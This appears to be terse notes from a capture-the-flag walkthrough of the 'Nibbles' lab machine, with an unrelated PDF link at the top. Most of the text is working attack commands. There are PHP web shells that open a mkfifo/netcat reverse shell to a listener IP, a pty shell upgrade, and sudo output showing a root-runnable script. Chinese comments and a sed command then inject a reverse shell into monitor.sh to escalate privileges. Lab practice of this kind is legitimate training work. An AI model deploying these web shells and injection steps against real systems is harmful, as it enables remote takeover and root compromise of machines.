PDF

 https://bandi.feb.uns.ac.id/wp-content/uploads/2018/09/intermediate-brigham-full.pdf

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>

python3 -c 'import pty; pty.spawn("/bin/bash")'

[+] We can sudo without supplying a password!

Matching Defaults entries for nibbler on Nibbles:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:

    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

# 假設您手動編輯 monitor.sh 

# 找到這行：

# # Remove Temporary Files

# 在它上面新增一行：

echo 'Reverse Shell executed!'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.143 8443 >/tmp/f

sed -i '73i rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.143 8443 >/tmp/f ' monitor.sh